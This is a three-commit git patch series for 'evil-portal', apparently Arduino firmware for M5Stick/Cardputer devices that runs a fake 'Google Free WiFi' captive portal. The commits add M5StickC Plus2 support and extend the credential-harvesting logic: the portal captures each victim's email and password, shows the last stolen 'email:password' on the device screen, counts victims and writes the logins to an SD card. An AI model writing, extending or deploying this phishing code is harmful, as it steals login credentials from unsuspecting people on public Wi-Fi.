From f9de24a5a905bd962212426e8ec634c4b4c8db54 Mon Sep 17 00:00:00 2001 From: Helvio Junior Date: Tue, 20 Feb 2024 20:47:04 -0300 Subject: [PATCH 1/3] BugFix when used at M5Stickc Plus2 --- evil-portal/evil-portal.ino | 46 ++++++++++++++++++++++++++----------- 1 file changed, 32 insertions(+), 14 deletions(-) diff --git a/evil-portal/evil-portal.ino b/evil-portal/evil-portal.ino index 22b9e4d..6a62e3d 100644 --- a/evil-portal/evil-portal.ino +++ b/evil-portal/evil-portal.ino @@ -4,11 +4,20 @@ #include #include -// #define M5STICKCPLUS -#define M5CARDPUTER +//#define M5STICKCPLUS +#define M5STICKCPLUS2 +//#define M5CARDPUTER -#if defined(M5STICKCPLUS) && defined(M5CARDPUTER) -#error "Please define only one platform: M5STICKCPLUS or M5CARDPUTER" +#if defined(M5STICKCPLUS) && defined(M5STICKCPLUS2) && defined(M5CARDPUTER) +#error "Please define only one platform: M5STICKCPLUS, M5STICKCPLUS2 or M5CARDPUTER" +#endif + +#if defined(M5STICKCPLUS) +#include +#elif defined(M5STICKCPLUS2) +#include +#elif defined(M5CARDPUTER) +#include #endif #if defined(M5STICKCPLUS) @@ -23,6 +32,18 @@ // #define SD_CS_PIN #endif +#if defined(M5STICKCPLUS2) +#define DISPLAY M5.Lcd +#define SPEAKER M5.Speaker +#define HAS_LED 19 // Number is equivalent to GPIO +#define GPIO_LED 19 +// #define HAS_SDCARD +#define SD_CLK_PIN 0 +#define SD_MISO_PIN 36 //25 +#define SD_MOSI_PIN 26 +// #define SD_CS_PIN +#endif + #if defined(M5CARDPUTER) #define DISPLAY M5Cardputer.Display #define SPEAKER M5Cardputer.Speaker @@ -40,13 +61,7 @@ #include #endif -#if defined(M5STICKCPLUS) -#include -#elif defined(M5CARDPUTER) -#include -#endif - -#define DEFAULT_AP_SSID_NAME "Google WiFi" +#define DEFAULT_AP_SSID_NAME "Google Free WiFi" #define SD_CREDS_PATH "/evil-portal-creds.txt" // #define LANGUAGE_EN_US #define LANGUAGE_PT_BR @@ -107,7 +122,7 @@ void setupDeviceSettings() { while (!Serial && millis() < 1000) ; -#if defined(M5STICKCPLUS) +#if defined(M5STICKCPLUS) || defined(M5STICKCPLUS2) M5.begin(); DISPLAY.setRotation(3); #elif defined(M5CARDPUTER) @@ -141,6 +156,8 @@ bool setupSdCard() { sdcardMounted = true; return true; } +#else + return true; #endif } @@ -160,7 +177,7 @@ void setupWebServer() { #if defined(M5STICKCPLUS) SPEAKER.tone(4000); -#elif defined(M5CARDPUTER) +#elif defined(M5CARDPUTER) || defined(M5STICKCPLUS2) SPEAKER.tone(4000, 50); #endif @@ -199,7 +216,6 @@ void loop() { if ((millis() - lastTick) > TICK_TIMER) { lastTick = millis(); - if (totalCapturedCredentials != previousTotalCapturedCredentials) { previousTotalCapturedCredentials = totalCapturedCredentials; @@ -290,6 +306,8 @@ String index_POST() { appendToFile(SD, SD_CREDS_PATH, String(email + " = " + password).c_str()); #endif + DISPLAY.print(email + ":" + password); + return getHtmlContents(LOGIN_AFTER_MESSAGE); } From 7b4b58075ed6f835660116f9b42be3b1d9a8ee0d Mon Sep 17 00:00:00 2001 From: Helvio Junior Date: Tue, 20 Feb 2024 21:01:44 -0300 Subject: [PATCH 2/3] Improve home screen --- evil-portal/evil-portal.ino | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/evil-portal/evil-portal.ino b/evil-portal/evil-portal.ino index 6a62e3d..e425588 100644 --- a/evil-portal/evil-portal.ino +++ b/evil-portal/evil-portal.ino @@ -91,6 +91,7 @@ int totalCapturedCredentials = 0; int previousTotalCapturedCredentials = -1; // stupid hack but wtfe String capturedCredentialsHtml = ""; +String lastLogin = ""; bool sdcardMounted = false; String apSsidName = String(DEFAULT_AP_SSID_NAME); @@ -182,15 +183,15 @@ void setupWebServer() { #endif DISPLAY.print("Victim Login"); - + delay(50); + printHomeToScreen(); + #if defined(M5STICKCPLUS) SPEAKER.mute(); #endif - DISPLAY.fillScreen(BLACK); - #if defined(HAS_LED) blinkLed(); #endif @@ -242,6 +243,10 @@ void printHomeToScreen() { DISPLAY.print(apSsidName); DISPLAY.println(""); DISPLAY.printf("Victim Count: %d\n", totalCapturedCredentials); + if (lastLogin != ""){ + DISPLAY.printf("Last login: %d\n", lastLogin); + } + } String getInputValue(String argName) { @@ -301,13 +306,12 @@ String index_POST() { String email = getInputValue("email"); String password = getInputValue("password"); capturedCredentialsHtml = "
  • Email: " + email + "
    Password: " + password + "
  • " + capturedCredentialsHtml; + lastLogin = email + ":" + password; #if defined(HAS_SDCARD) appendToFile(SD, SD_CREDS_PATH, String(email + " = " + password).c_str()); #endif - DISPLAY.print(email + ":" + password); - return getHtmlContents(LOGIN_AFTER_MESSAGE); } From 4cd86e310f666d17973bf373754c4cda3dcc5b7d Mon Sep 17 00:00:00 2001 From: Helvio Junior Date: Tue, 20 Feb 2024 21:13:15 -0300 Subject: [PATCH 3/3] BugFix at text --- evil-portal/evil-portal.ino | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/evil-portal/evil-portal.ino b/evil-portal/evil-portal.ino index e425588..cdc62c8 100644 --- a/evil-portal/evil-portal.ino +++ b/evil-portal/evil-portal.ino @@ -244,7 +244,9 @@ void printHomeToScreen() { DISPLAY.println(""); DISPLAY.printf("Victim Count: %d\n", totalCapturedCredentials); if (lastLogin != ""){ - DISPLAY.printf("Last login: %d\n", lastLogin); + DISPLAY.printf("Last login: "); + DISPLAY.print(lastLogin); + DISPLAY.println(""); } } @@ -306,7 +308,7 @@ String index_POST() { String email = getInputValue("email"); String password = getInputValue("password"); capturedCredentialsHtml = "
  • Email: " + email + "
    Password: " + password + "
  • " + capturedCredentialsHtml; - lastLogin = email + ":" + password; + lastLogin = String(email + ":" + password).c_str(); #if defined(HAS_SDCARD) appendToFile(SD, SD_CREDS_PATH, String(email + " = " + password).c_str());